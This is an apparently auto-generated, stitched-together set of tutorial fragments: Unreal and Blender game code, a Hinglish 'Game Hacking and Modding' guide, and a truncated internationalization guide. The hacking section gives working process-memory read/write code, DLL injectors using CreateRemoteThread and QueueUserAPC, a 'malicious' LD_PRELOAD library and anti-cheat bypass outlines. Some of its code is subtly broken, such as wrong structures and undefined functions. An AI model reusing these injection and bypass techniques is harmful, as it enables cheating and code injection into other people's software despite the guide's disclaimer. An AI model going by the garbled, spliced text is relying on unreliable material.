void AMyCharacter::MoveRight(float Value)
{
    if (Value != 0.0f)
    {
        AddMovementInput(GetActorRightVector(), Value);
    }
}

void AMyCharacter::LookUp(float Value)
{
    if (Value != 0.0f)
    {
        AddControllerPitchInput(Value);
    }
}

void AMyCharacter::Turn(float Value)
{
    if (Value != 0.0f)
    {
        AddControllerYawInput(Value);
    }
}

void AMyCharacter::StartFire()
{
    GetWorldTimerManager().SetTimer(FireTimer, this, &AMyCharacter::Fire, 0.2f, true, 0.0f);
}

void AMyCharacter::StopFire()
{
    GetWorldTimerManager().ClearTimer(FireTimer);
}

void AMyCharacter::Fire()
{
    if (CurrentWeapon)
    {
        CurrentWeapon->Fire();
```

```
    }
}
```

6. 3D MODELING BASICS

>> Blender for Game Assets

WHAT:

3D modeling basics with Blender

COMMANDS:

```
# Install Blender
sudo snap install blender --classic
# Or via apt
sudo apt install blender -y
# Install add-ons for game export
# FBX export is built-in
# GLTF export is built-in
```

>> Blender Python Scripting

WHAT:

Blender Python scripts for automated modeling

CODE:

```
import bpy
import bmesh
import math

# Clear existing mesh
bpy.ops.object.select_all(action='SELECT')
bpy.ops.object.delete(use_global=False)

# Create a simple character model
def create_character():
    # Create body (cylinder)
    bpy.ops.mesh.primitive_cylinder_add(vertices=32, radius=0.5, depth=1.5, location=(0, 0, 0))
    body = bpy.context.active_object
    body.name = "Body"

    # Create head (sphere)
    bpy.ops.mesh.primitive_uv_sphere_add(radius=0.4, location=(0, 0, 0.9))
    head = bpy.context.active_object
    head.name = "Head"

    # Create arms (cylinders)
    bpy.ops.mesh.primitive_cylinder_add(radius=0.1, depth=0.8, location=(-0.6, 0, 0.5))
    left_arm = bpy.context.active_object
    left_arm.name = "LeftArm"

    bpy.ops.mesh.primitive_cylinder_add(radius=0.1, depth=0.8, location=(0.6, 0, 0.5))
    right_arm = bpy.context.active_object
    right_arm.name = "RightArm"

    # Create legs (cylinders)
    bpy.ops.mesh.primitive_cylinder_add(radius=0.15, depth=0.7, location=(-0.3, 0, -0.8))
    left_leg = bpy.context.active_object
    left_leg.name = "LeftLeg"

    bpy.ops.mesh.primitive_cylinder_add(radius=0.15, depth=0.7, location=(0.3, 0, -0.8))
    right_leg = bpy.context.active_object
    right_leg.name = "RightLeg"

    # Join all parts
    bpy.ops.object.select_all(action='DESELECT')
    for obj in [body, head, left_arm, right_arm, left_leg, right_leg]:
        obj.select_set(True)
```

```
    bpy.context.view_layer.objects.active = body
    bpy.ops.object.join()

    # Apply smooth shading
    bpy.ops.object.shade_smooth()

# Create a simple environment
def create_environment():
    # Create ground plane
    bpy.ops.mesh.primitive_plane_add(size=20, location=(0, 0, -1))
    ground = bpy.context.active_object
    ground.name = "Ground"

    # Add material to ground
    mat = bpy.data.materials.new(name="GroundMaterial")
    mat.use_nodes = True
    bsdf = mat.node_tree.nodes["Principled BSDF"]
    bsdf.inputs[0].default_value = (0.2, 0.5, 0.1, 1)  # Green color
    ground.data.materials.append(mat)

    # Create trees (simple cylinders + spheres)
    for i in range(-5, 6):
        if i != 0:
            # Tree trunk
            bpy.ops.mesh.primitive_cylinder_add(radius=0.2, depth=1, location=(i*2, 2, -0.5))
            trunk = bpy.context.active_object
            # Tree top (cone)
            bpy.ops.mesh.primitive_cone_add(radius1=0.5, depth=0.8, location=(i*2, 2, 0))
            top = bpy.context.active_object

# Add lighting
def add_lighting():
    # Sun light
    bpy.ops.object.light_add(type='SUN', location=(5, 5, 10))
    sun = bpy.context.active_object
    sun.data.energy = 2

    # Fill light
    bpy.ops.object.light_add(type='POINT', location=(-3, -3, 3))
    fill = bpy.context.active_object
    fill.data.energy = 0.5

# Add camera
def add_camera():
    bpy.ops.object.camera_add(location=(5, -8, 4))
    camera = bpy.context.active_object
    camera.rotation_euler = (math.radians(60), 0, math.radians(30))
    bpy.context.scene.camera = camera

# Export to game format
def export_to_fbx(filename):
    bpy.ops.export_scene.fbx(filepath=filename, use_selection=False, axis_forward='-Z', axis_up='Y')

# Execute
create_character()
create_environment()
add_lighting()
add_camera()
export_to_fbx("game_assets.fbx")
```

Game Hacking and Modding Complete Guide

Memory Hacking, DLL Injection, Cheat Engine, Anti-Cheat Bypass, Modding

Generated: 23-March-2026

DISCLAIMER: This guide is for educational purposes only. Only use these techniques on games you own, for single-player modding, or with explicit permission. Cheating in multiplayer games is unethical and may result in bans. Always respect game developers' work.

1. MEMORY HACKING - COMPLETE GUIDE

>> What is Memory Hacking

WHAT:

Memory hacking game process ki memory me manipulate karne ki technique hai. Isme game variables (health, ammo, score, etc.) ko memory me find karke modify kiya jata hai. Program ke runtime memory me values store hoti hain, aur unhe change karke game behavior modify hota hai.

KEY CONCEPTS:

* Process Memory - Each process has its own virtual memory space
* Memory Addresses - Unique locations where data is stored
* Pointers - Memory addresses that point to other addresses
* Dynamic Memory - Values change location on each run
* Static Memory - Values at fixed addresses
* Memory Regions - Stack, Heap, Code, Data segments

>> Process Memory Structure

WHAT:

How program memory is organized

MEMORY LAYOUT:

* Text Segment (Code) - Executable instructions (read-only)
* Data Segment - Initialized global/static variables
* BSS Segment - Uninitialized global/static variables
* Heap - Dynamic memory (malloc/new) - grows upward
* Stack - Local variables, function calls - grows downward
* Memory Mapping - Shared libraries, files

>> Finding Memory Addresses

WHAT:

Techniques to find game memory addresses

TECHNIQUES:

* 1. Value Scanning: Scan for exact values (health=100)
* 2. Unknown Value Scanning: Scan for changed/unchanged values
* 3. Pointer Scanning: Find pointers to dynamic addresses
* 4. Code Injection: Hook functions to read/write memory
* 5. Pattern Scanning: Search for byte patterns
* 6. API Hooking: Intercept game function calls

>> Python Memory Hacking Script

WHAT:

Complete memory hacking implementation in Python

CODE:

```
import ctypes
import ctypes.wintypes
import struct
import psutil
import sys
import time

# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
```

```
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_OPERATION = 0x0008

class MemoryHacker:
    """Complete memory hacking class for game modification"""
    def __init__(self):
        self.process_handle = None
        self.pid = None
        self.kernel32 = ctypes.windll.kernel32

    def find_process(self, process_name):
        """Find process by name"""
        for proc in psutil.process_iter(['pid', 'name']):
            if proc.info['name'].lower() == process_name.lower():
                self.pid = proc.info['pid']
                return self.pid
        return None

    def open_process(self, pid):
        """Open process for memory access"""
        self.process_handle = self.kernel32.OpenProcess(
            PROCESS_ALL_ACCESS, False, pid
        )
        return self.process_handle

    def read_memory(self, address, data_type='int'):
        """Read memory at given address"""
        buffer = ctypes.create_string_buffer(8)
        bytes_read = ctypes.c_size_t()

        if self.kernel32.ReadProcessMemory(
            self.process_handle, address, buffer, 8, ctypes.byref(bytes_read)
        ):
            if data_type == 'int':
                return struct.unpack('i', buffer.raw[:4])[0]
            elif data_type == 'float':
                return struct.unpack('f', buffer.raw[:4])[0]
            elif data_type == 'double':
                return struct.unpack('d', buffer.raw[:8])[0]
            elif data_type == 'bytes':
                return buffer.raw
        return None

    def write_memory(self, address, value, data_type='int'):
        """Write value to memory address"""
        if data_type == 'int':
            data = struct.pack('i', value)
        elif data_type == 'float':
            data = struct.pack('f', value)
        elif data_type == 'double':
            data = struct.pack('d', value)

        bytes_written = ctypes.c_size_t()
        return self.kernel32.WriteProcessMemory(
            self.process_handle, address, data, len(data),
            ctypes.byref(bytes_written)
        )

    def scan_memory_range(self, start, end, target_value, data_type='int'):
        """Scan memory range for specific value"""
        results = []
        address = start

        while address < end:
            value = self.read_memory(address, data_type)
```

```
            if value == target_value:
                results.append(address)
            address += 4 if data_type != 'double' else 8
        return results

    def pattern_scan(self, pattern, mask, start, end):
        """Scan for byte pattern (like Cheat Engine)"""
        pattern_bytes = bytes.fromhex(pattern.replace(' ', ''))
        results = []
        address = start

        while address < end:
            data = self.read_memory(address, 'bytes')
            if data and self.match_pattern(data, pattern_bytes, mask):
                results.append(address)
            address += 1
        return results

    def match_pattern(self, data, pattern, mask):
        """Match byte pattern with mask"""
        if len(data) < len(pattern):
            return False
        for i in range(len(pattern)):
            if mask[i] == 'x' and data[i] != pattern[i]:
                return False
        return True

    def find_pointers(self, base_address, offsets):
        """Follow pointer chain to find dynamic address"""
        address = base_address
        for offset in offsets:
            address = self.read_memory(address, 'int')
            if not address:
                return None
            address += offset
        return address

    def close(self):
        """Close process handle"""
        if self.process_handle:
            self.kernel32.CloseHandle(self.process_handle)

# Linux Version using ptrace
class LinuxMemoryHacker:
    """Memory hacking on Linux using ptrace"""
    def __init__(self):
        self.pid = None
        import ptrace
        self.ptrace = ptrace

    def attach(self, pid):
        """Attach to process"""
        self.pid = pid
        import os
        os.kill(pid, 0)  # Check if process exists

    def read_memory(self, address):
        """Read memory using ptrace PEEKDATA"""
        import ptrace
        return ptrace.peekdata(self.pid, address)

    def write_memory(self, address, value):
        """Write memory using ptrace POKEDATA"""
        import ptrace
        return ptrace.pokedata(self.pid, address, value)
```

```python
# Example usage for game hacking
def hack_game_example():
    hacker = MemoryHacker()

    # Find game process
    pid = hacker.find_process("game.exe")
    if not pid:
        print("Game not found")
        return

    # Open process
    hacker.open_process(pid)

    # Search for health value (100)
    addresses = hacker.scan_memory_range(0x00400000, 0x7FFFFFFF, 100)
    print(f"Found health addresses: {addresses}")

    # Modify health
    if addresses:
        hacker.write_memory(addresses[0], 9999)
        print("Health hacked to 9999!")

    hacker.close()
```

2. DLL INJECTION - COMPLETE GUIDE

>> What is DLL Injection

WHAT:

DLL injection technique hai jisme external code ko running process me inject kiya jata hai. Isse process ki functionality modify hoti hai, hooks lagaye ja sakte hain, aur memory access milta hai. Game hacks, mods, debugging tools me use hota hai.

INJECTION METHODS:

* LoadLibrary Injection - Use CreateRemoteThread
* SetWindowsHookEx - Hook system events
* QueueUserAPC - Async procedure calls
* Process Hollowing - Replace process memory
* Reflective DLL Injection - Load without LoadLibrary

>> Windows DLL Injection

WHAT:

Complete DLL injection implementation

CODE:

```
# injector.py - DLL Injector
import ctypes
import ctypes.wintypes
import sys
import os

class DLLInjector:
    """Complete DLL injection class"""
    def __init__(self):
        self.kernel32 = ctypes.windll.kernel32
        self.psapi = ctypes.windll.psapi
        self.user32 = ctypes.windll.user32

    def get_process_id(self, process_name):
        """Get PID by process name"""
        import psutil
        for proc in psutil.process_iter(['pid', 'name']):
            if proc.info['name'].lower() == process_name.lower():
                return proc.info['pid']
        return None

    def inject_dll(self, pid, dll_path):
        """Inject DLL into process using CreateRemoteThread"""
        # Open process
        PROCESS_ALL_ACCESS = 0x1F0FFF
        handle = self.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
        if not handle:
            return False

        # Allocate memory for DLL path
        dll_path_bytes = dll_path.encode('utf-8')
        dll_path_size = len(dll_path_bytes) + 1
        remote_mem = self.kernel32.VirtualAllocEx(
            handle, None, dll_path_size,
            0x3000,  # MEM_COMMIT | MEM_RESERVE
            0x04     # PAGE_READWRITE
        )

        # Write DLL path to remote process
        bytes_written = ctypes.c_size_t()
        self.kernel32.WriteProcessMemory(
            handle, remote_mem, dll_path_bytes,
```

```
        dll_path_size, ctypes.byref(bytes_written)
    )

    # Get LoadLibraryA address
    loadlib_addr = self.kernel32.GetProcAddress(
        self.kernel32.GetModuleHandleA(b"kernel32.dll"),
        b"LoadLibraryA"
    )

    # Create remote thread to load DLL
    thread_id = ctypes.c_ulong()
    thread_handle = self.kernel32.CreateRemoteThread(
        handle, None, 0, loadlib_addr,
        remote_mem, 0, ctypes.byref(thread_id)
    )

    if thread_handle:
        # Wait for thread to complete
        self.kernel32.WaitForSingleObject(thread_handle, 5000)
        self.kernel32.CloseHandle(thread_handle)

    # Cleanup
    self.kernel32.VirtualFreeEx(handle, remote_mem, 0, 0x8000)
    self.kernel32.CloseHandle(handle)
    return True

def inject_with_apc(self, pid, dll_path):
    """Inject using QueueUserAPC (stealthier)"""
    # Open process
    PROCESS_ALL_ACCESS = 0x1F0FFF
    handle = self.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

    # Allocate memory for DLL path
    dll_path_bytes = dll_path.encode('utf-8')
    remote_mem = self.kernel32.VirtualAllocEx(
        handle, None, len(dll_path_bytes) + 1,
        0x3000, 0x04
    )

    # Write DLL path
    self.kernel32.WriteProcessMemory(
        handle, remote_mem, dll_path_bytes,
        len(dll_path_bytes) + 1, None
    )

    # Get LoadLibraryA address
    loadlib_addr = self.kernel32.GetProcAddress(
        self.kernel32.GetModuleHandleA(b"kernel32.dll"),
        b"LoadLibraryA"
    )

    # Enumerate threads and queue APC
    import ctypes.wintypes
    TH32CS_SNAPTHREAD = 0x00000004
    snapshot = self.kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)

    if snapshot:
        te32 = ctypes.wintypes.PROCESSENTRY32()
        te32.dwSize = ctypes.sizeof(te32)
        if self.kernel32.Thread32First(snapshot, ctypes.byref(te32)):
            while True:
                if te32.th32OwnerProcessID == pid:
                    thread_handle = self.kernel32.OpenThread(
                        0x0002, False, te32.th32ThreadID
                    )
                    if thread_handle:
```

```
                            self.kernel32.QueueUserAPC(
                                loadlib_addr, thread_handle, remote_mem
                            )
                            self.kernel32.CloseHandle(thread_handle)
                    if not self.kernel32.Thread32Next(snapshot, ctypes.byref(te32)):
                        break

        self.kernel32.CloseHandle(handle)
        return True

# DllMain for injected DLL
dll_code = '''
#include <windows.h>
#include <stdio.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"Injected Successfully!", L"DLL Injection", MB_OK);
            CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)hack_thread, NULL, 0, NULL);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

DWORD WINAPI hack_thread(LPVOID lpParam) {
    // Game hacking code here
    while (1) {
        // Find health address and modify
        Sleep(1000);
    }
    return 0;
}
'''
```

>> Linux Shared Library Injection

WHAT:

Library injection on Linux using LD_PRELOAD

CODE:

```
# injector_linux.py - Linux library injection
import os
import subprocess
import sys

class LinuxInjector:
    """Linux shared library injection"""

    def inject_ld_preload(self, library_path, target_process):
        """Inject using LD_PRELOAD environment variable"""
        env = os.environ.copy()
        env['LD_PRELOAD'] = library_path
        subprocess.Popen([target_process], env=env)
        print(f"Started {target_process} with LD_PRELOAD={library_path}")

    def inject_running_process(self, pid, library_path):
        """Inject into running process using gdb"""
        gdb_script = f"""
        attach {pid}
        call dlopen("{library_path}", 1)
        detach
```

```
        quit
        """
        with open('/tmp/gdb_script', 'w') as f:
            f.write(gdb_script)
        subprocess.run(['gdb', '-x', '/tmp/gdb_script'])
        os.remove('/tmp/gdb_script')
        print(f"Injected {library_path} into PID {pid}")

# Malicious shared library for Linux
malicious_lib = '''
// hack.c - Malicious shared library
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>

void __attribute__((constructor)) init() {
    printf("[*] Library loaded!\n");
    // Spawn hack thread
    pthread_t thread;
    pthread_create(&thread, NULL, hack_thread, NULL);
}

void* hack_thread(void* arg) {
    printf("[*] Hack thread running\n");
    // Memory hacking code here
    while(1) {
        // Scan and modify memory
        sleep(1);
    }
    return NULL;
}

// Compile: gcc -shared -fPIC hack.c -o libhack.so -lpthread
'''
```

3. CHEAT ENGINE - COMPLETE GUIDE

>> What is Cheat Engine

WHAT:

Cheat Engine open-source memory scanner, debugger, and game hacking tool hai. Ye memory values scan karta hai, pointer chains find karta hai, aur code injection allow karta hai. Windows pe popular hai, Linux me alternatives bhi hain.

>> Cheat Engine for Linux

WHAT:

Linux alternatives to Cheat Engine

COMMANDS:

```
# Install scanmem/GameConqueror (GUI for scanmem)
sudo apt update
sudo apt install scanmem gameconqueror -y
# Install Cheat Engine via Wine
sudo apt install wine winetricks -y
wget https://github.com/cheat-engine/cheat-engine/releases/download/7.5/CheatEngine75.exe
wine CheatEngine75.exe
# Install PINCE (Linux Game Hacking Tool)
git clone https://github.com/korcankaraokcu/PINCE.git
cd PINCE
sudo python3 setup.py install
# Install edb-debugger
sudo apt install edb-debugger -y
# Install radare2 for reverse engineering
git clone https://github.com/radareorg/radare2.git
cd radare2
./sys/install.sh
# Use scanmem command line
scanmem -p $(pgrep game)
```

>> Python Cheat Engine Clone

WHAT:

Python implementation of cheat engine features

CODE:

```
import ctypes
import sys
import time
import struct

class PythonCheatEngine:
    """Python implementation of Cheat Engine functionality"""
    def __init__(self, pid):
        self.pid = pid
        self.process = None
        self.scan_results = []
        self.old_scan_results = []
        self.open_process()

    def open_process(self):
        """Open process for memory access"""
        import psutil
        self.process = psutil.Process(self.pid)
        self.maps = self.process.memory_maps()

    def first_scan(self, value, data_type='int', value_type='exact'):
        """First scan for values"""
        self.scan_results = []
```

```
    for region in self.maps:
        if 'rw' in region.perms and 'heap' in region.path or 'stack' in region.path:
            addresses = self.scan_region(region.addr, region.addr + region.size, value, data_type, value_type)
            self.scan_results.extend(addresses)
    self.old_scan_results = self.scan_results.copy()
    return self.scan_results

def next_scan(self, value, data_type='int', value_type='exact'):
    """Next scan (filter previous results)"""
    new_results = []
    for addr in self.old_scan_results:
        current = self.read_memory(addr, data_type)
        if self.compare_values(current, value, value_type):
            new_results.append(addr)
    self.scan_results = new_results
    self.old_scan_results = self.scan_results.copy()
    return self.scan_results

def scan_region(self, start, end, value, data_type, value_type):
    """Scan a memory region"""
    results = []
    step = 4 if data_type in ['int', 'float'] else 8
    addr = start

    while addr < end:
        try:
            current = self.read_memory(addr, data_type)
            if current is not None and self.compare_values(current, value, value_type):
                results.append(addr)
        except:
            pass
        addr += step
    return results

def compare_values(self, current, target, value_type):
    """Compare values based on scan type"""
    if value_type == 'exact':
        return current == target
    elif value_type == 'increased':
        return current > target
    elif value_type == 'decreased':
        return current < target
    elif value_type == 'unchanged':
        return current == target
    elif value_type == 'changed':
        return current != target
    return False

def read_memory(self, address, data_type='int'):
    """Read value from memory address"""
    try:
        data = self.process.read_bytes(address, 8)
        if data_type == 'int':
            return struct.unpack('i', data[:4])[0]
        elif data_type == 'float':
            return struct.unpack('f', data[:4])[0]
        elif data_type == 'double':
            return struct.unpack('d', data[:8])[0]
    except:
        return None

def write_memory(self, address, value, data_type='int'):
    """Write value to memory address"""
    if data_type == 'int':
        data = struct.pack('i', value)
    elif data_type == 'float':
```

```
        data = struct.pack('f', value)
    elif data_type == 'double':
        data = struct.pack('d', value)
    self.process.write_bytes(address, data)

def pointer_scan(self, base_address, max_offset=4096):
    """Find pointers to a value"""
    pointers = []
    for region in self.maps:
        if 'rw' in region.perms:
            addr = region.addr
            end = region.addr + region.size

            while addr < end:
                try:
                    value = self.read_memory(addr, 'int')
                    if value in self.scan_results:
                        for offset in range(0, max_offset, 4):
                            if addr + offset in self.scan_results:
                                pointers.append((addr, offset))
                except:
                    pass
                addr += 4
    return pointers

def code_injection(self, address, original_bytes, new_bytes):
    """Inject code at address"""
    import mmap
    page_size = mmap.PAGESIZE
    page_start = address & ~(page_size - 1)

    # Make memory writable
    self.process.memory_protect(page_start, page_size, 'rwx')

    # Write new bytes
    self.write_memory(address, new_bytes, 'bytes')

    # Original bytes saved for restore
    return original_bytes
```

4. ANTI-CHEAT BYPASS TECHNIQUES

>> What are Anti-Cheats

WHAT:

Anti-cheat systems game hacking prevent karne ke liye software hain. Ye memory scans, integrity checks, behavior analysis, aur kernel-level monitoring karte hain. Popular anti-cheats: BattlEye, EasyAntiCheat, Valve Anti-Cheat (VAC).

ANTI-CHEAT TYPES:

* Kernel-Level AC - Ring0 drivers, highest privilege
* User-Mode AC - Ring3 processes, limited access
* Server-Side AC - Behavioral analysis on server
* Client-Side AC - Local integrity checks
* Hybrid AC - Combination of client and server

>> Bypass Techniques

WHAT:

Common anti-cheat bypass methods

TECHNIQUES:

* 1. Kernel Drivers - Load kernel driver for stealth access
* 2. Direct Kernel Object Manipulation (DKOM) - Hide processes
* 3. DLL Unlinking - Remove module from PEB
* 4. API Hooking - Intercept and modify API calls
* 5. Virtualization - Run game in VM, hack from host
* 6. Hardware Spoofing - Fake hardware IDs
* 7. Memory Obfuscation - Encrypt cheat code in memory
* 8. Signature Bypass - Modify code to avoid detection

>> Stealth Memory Access

WHAT:

Techniques to read/write memory without detection

CODE:

```
# Kernel Driver Skeleton (Windows)
driver_code = '''
#include <ntddk.h>
#include <ntifs.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    // Create device
    // Handle IOCTL requests for memory read/write
    // This runs in kernel mode, bypasses user-mode anti-cheats
    return STATUS_SUCCESS;
}

void Unload(PDRIVER_OBJECT DriverObject) {
    // Cleanup
}
'''

# Manual Mapping DLL (No LoadLibrary)
manual_map_code = '''
#include <windows.h>

void* ManualMap(const char* dll_data, size_t size) {
    // Parse PE headers
    // Allocate memory for sections
```

```
    // Copy sections to allocated memory
    // Resolve imports
    // Apply relocations
    // Call entry point
    return base_address;
}
'''

# Linux ptrace bypass (process hiding)
ptrace_bypass = '''
#include <sys/ptrace.h>
#include <sys/types.h>

void hide_process() {
    // Hide from ptrace by modifying /proc
    // Overwrite process name with blanks
    // Unlink from /proc entries
}
'''
```

>> Virtual Machine Detection

WHAT:

Detect if game is running in VM (for anti-cheat bypass)

CODE:

```
import platform
import subprocess
import re

class VMDetector:
    """Detect virtual machine environment"""

    def check_drivers(self):
        """Check for VM drivers"""
        vm_drivers = ['vbox', 'vmware', 'virtual', 'qemu']
        for driver in vm_drivers:
            if self.driver_exists(driver):
                return True
        return False

    def check_mac_address(self):
        """Check MAC address for VM vendors"""
        vm_macs = [
            '00:05:69',  # VMware
            '00:0C:29',  # VMware
            '00:50:56',  # VMware
            '08:00:27',  # VirtualBox
            '00:15:5D',  # Hyper-V
        ]
        mac = self.get_mac_address()
        return any(mac.startswith(vm_mac) for vm_mac in vm_macs)

    def check_cpu_info(self):
        """Check CPU information"""
        with open('/proc/cpuinfo', 'r') as f:
            cpuinfo = f.read()
        vm_strings = ['hypervisor', 'qemu', 'kvm', 'vbox']
        return any(vm in cpuinfo.lower() for vm in vm_strings)

    def check_dmi_info(self):
        """Check DMI system information"""
        try:
            result = subprocess.run(['sudo', 'dmidecode', '-s', 'system-manufacturer'],
                                    capture_output=True, text=True)
            manufacturer = result.stdout.strip().lower()
```

```
        vm_manufacturers = ['vmware', 'virtualbox', 'qemu', 'innotek']
        return any(vm in manufacturer for vm in vm_manufacturers)
    except:
        return False
```

5. GAME MODDING - COMPLETE GUIDE

>> What is Game Modding

WHAT:

Game modding game files, assets, code ko modify karne ki practice hai. Mods new content add kar sakte hain, gameplay change kar sakte hain, ya graphics improve kar sakte hain. Modding legal hai agar game developers allow karte hain.

MODDING TYPES:

* Asset Modding - Textures, models, sounds
* Script Modding - Lua/Python scripts
* Memory Modding - Runtime values
* Code Modding - Binary patches
* Map Modding - Level design
* Configuration Modding - INI/JSON files

>> Unity Game Modding

WHAT:

Unity game modding techniques

COMMANDS:

```
# Install dnSpy for Unity DLL decompilation
wget https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-netcore-win64.zip
unzip dnSpy-netcore-win64.zip
# Install AssetStudio for Unity assets
git clone https://github.com/Perfare/AssetStudio.git
# Extract Unity game files
python -m pip install UnityPy
# Decompile Assembly-CSharp.dll
dotnet tool install -g ilspycmd
ilspycmd Assembly-CSharp.dll -o decompiled/
```

>> Unity Modding Python Script

WHAT:

Extract and modify Unity game assets

CODE:

```
import UnityPy
import os
import json

class UnityModder:
    """Unity game modding tool"""
    def __init__(self, game_path):
        self.game_path = game_path
        self.env = UnityPy.load(game_path)

    def extract_all_textures(self, output_dir):
        """Extract all textures from game"""
        os.makedirs(output_dir, exist_ok=True)
        for obj in self.env.objects:
            if obj.type.name == "Texture2D":
                texture = obj.read()
                img = texture.image
                img.save(os.path.join(output_dir, f"{texture.name}.png"))
        print(f"Extracted textures to {output_dir}")

    def extract_all_scripts(self, output_dir):
        """Extract all MonoBehaviour scripts"""
        os.makedirs(output_dir, exist_ok=True)
```

```
        for obj in self.env.objects:
            if obj.type.name == "MonoBehaviour":
                mono = obj.read()
                if mono.m_Script and hasattr(mono, 'script'):
                    with open(os.path.join(output_dir, f"{mono.name}.json"), 'w') as f:
                        json.dump(mono.script, f, indent=2)

    def replace_texture(self, texture_name, new_texture_path):
        """Replace a game texture"""
        from PIL import Image
        new_img = Image.open(new_texture_path)

        for obj in self.env.objects:
            if obj.type.name == "Texture2D" and obj.read().name == texture_name:
                texture = obj.read()
                texture.set_image(new_img)
                texture.save()
                print(f"Replaced texture: {texture_name}")
                break

    def save_modified(self, output_path):
        """Save modified game files"""
        self.env.save(output_path)

# Example usage
modder = UnityModder("Game_Data/resources.assets")
modder.extract_all_textures("extracted_textures")
```

>> Unreal Engine Modding

WHAT:

Unreal Engine modding techniques

COMMANDS:

```
# Install UEViewer for asset extraction
git clone https://github.com/gildor2/UEViewer.git
cd UEViewer
make
# Install FModel for asset browsing
wget https://github.com/iAmAsval/FModel/releases/download/4.2.5/FModel_4.2.5_Linux.tar.gz
tar -xzf FModel_4.2.5_Linux.tar.gz
# Extract .pak files
unrealpak Game.pak Game/
# Python script for UE4 modding
import struct
class UEModder:
    def parse_pak_file(self, pak_path):
        """Parse Unreal Engine .pak files"""
        with open(pak_path, 'rb') as f:
            # Read header
            magic = f.read(4)
            version = struct.unpack('<I', f.read(4))[0]
            print(f"PAK Version: {version}")
            # Parse file entries
            # Extract and modify
            pass
```

---

6. ETHICAL CONSIDERATIONS

>> Legal and Ethical Guidelines

WHAT:

Game hacking ke legal and ethical aspects

GUIDELINES:

* 1. Only modify games you own
* 2. Don't cheat in multiplayer games - ruins experience for others
* 3. Single-player modding is generally acceptable
* 4. Read game's EULA (End User License Agreement)
* 5. Don't distribute copyrighted game assets
* 6. Use knowledge for security research, not malicious purposes
* 7. Report vulnerabilities responsibly
* 8. Respect game developers' intellectual property

>> Responsible Disclosure

WHAT:

How to report vulnerabilities ethically

STEPS:

* 1. Verify the vulnerability exists
* 2. Document with proof-of-concept
* 3. Contact developer's security team
* 4. Give reasonable time for fixes
* 5. Don't publicly disclose until fixed
* 6. Help with remediation if possible
* 7. Accept responsible disclosure programs

Internationalization Complete Guide

i18n, L10n, Unicode, Multi-language Support, Localization

Generated: 23-March-2026

1. UNICODE AND ENCODING - COMPLETE GUIDE

>> What is Unicode

WHAT:

Unicode ek universal character encoding standard hai jo dunia ki almost sabhi languages ke characters ko represent karta hai. Har character ko unique code point diya jata hai. UTF-8, UTF-16, UTF-32 encoding forms use karta hai.

KEY CONCEPTS:

* Code Point - Unique number for each character (U+0041 = 'A')
* Encoding - How code points are stored in bytes
* UTF-8 - Variable-length, backward compatible with ASCII
* UTF-16 - 2 or 4 bytes, used by Windows, Java
* UTF-32 - Fixed 4 bytes, simple but memory heavy
* BOM - Byte Order Mark for UTF-16/32

>> Python Unicode Handling

WHAT:

Complete Unicode handling in Python

CODE:

```
import unicodedata
import codecs

# ========== STRING ENCODING/DECODING ==========
# String to bytes (encoding)
text = "Hello World"
utf8_bytes = text.encode('utf-8')
utf16_bytes = text.encode('utf-16')
utf32_bytes = text.encode('utf-32')

print(f"UTF-8: {utf8_bytes}")
print(f"UTF-16: {utf16_bytes}")
print(f"UTF-32: {utf32_bytes}")

# Bytes to string (decoding)
decoded = utf8_bytes.decode('utf-8')
print(f"Decoded: {decoded}")

# ========== UNICODE CHARACTER PROPERTIES ==========
def analyze_character(char):
    code_point = ord(char)
    name = unicodedata.name(char, 'UNKNOWN')
    category = unicodedata.category(char)
    decomposition = unicodedata.decomposition(char)
    normalized = unicodedata.normalize('NFKD', char)

    return {
        'char': char,
        'code_point': f'U+{code_point:04X}',
        'name': name,
        'category': category,
        'decomposition': decomposition,
        'normalized': normalized
    }

# Analyze different characters
chars = ['A', 'e', 'a', '1', 'm']
for char in chars:
    print(analyze_character(char))
```

```
# ========== UNICODE NORMALIZATION ==========
def unicode_normalization_examples():
    # Different representations of same character
    e_accent = "e"
    e_accent_composed = "e"

    print(f"Same character? {e_accent == e_accent_composed}")
    print(f"Length 1: {len(e_accent)}, Length 2: {len(e_accent_composed)}")

    # Normalize to different forms
    print(f"NFC: {unicodedata.normalize('NFC', e_accent_composed)}")
    print(f"NFD: {unicodedata.normalize('NFD', e_accent)}")

# ========== DETECT ENCODING ==========
import chardet

def detect_encoding(data):
    result = chardet.detect(data)
    return result['encoding'], result['confidence']

# Test with different encodings
test_data = [
    b'Hello World',
    'Hello'.encode('gb2312'),
    'Hello'.encode('cp1251'),
]

for data in test_data:
    enc, conf = detect_encoding(data)
    print(f"Data: {data[:20]}... Encoding: {enc}, Confidence: {conf:.2%}")

# ========== HANDLE ENCODING ERRORS ==========
def safe_decode(data, encoding='utf-8'):
    # Try different error handling strategies
    strategies = ['strict', 'ignore', 'replace', 'backslashreplace']
    results = {}

    for strategy in strategies:
        try:
            results[strategy] = data.decode(encoding, errors=strategy)
        except Exception as e:
            results[strategy] = f"Error: {e}"
    return results

# Test with invalid data
invalid_data = b'Hello World'
print(safe_decode(invalid_data))
```

>> Unicode in Files

WHAT:

Reading and writing Unicode files

CODE:

```
# ========== WRITE UNICODE TO FILE ==========
def write_unicode_file(filename, content, encoding='utf-8'):
    with open(filename, 'w', encoding=encoding) as f:
        f.write(content)
    print(f"Written to {filename} with {encoding}")

# ========== READ UNICODE FILE ==========
def read_unicode_file(filename, encoding='utf-8'):
    try:
        with open(filename, 'r', encoding=encoding) as f:
            return f.read()
    except UnicodeDecodeError as e:
```

```
        print(f"Error reading {filename}: {e}")
        # Try to detect encoding
        with open(filename, 'rb') as f:
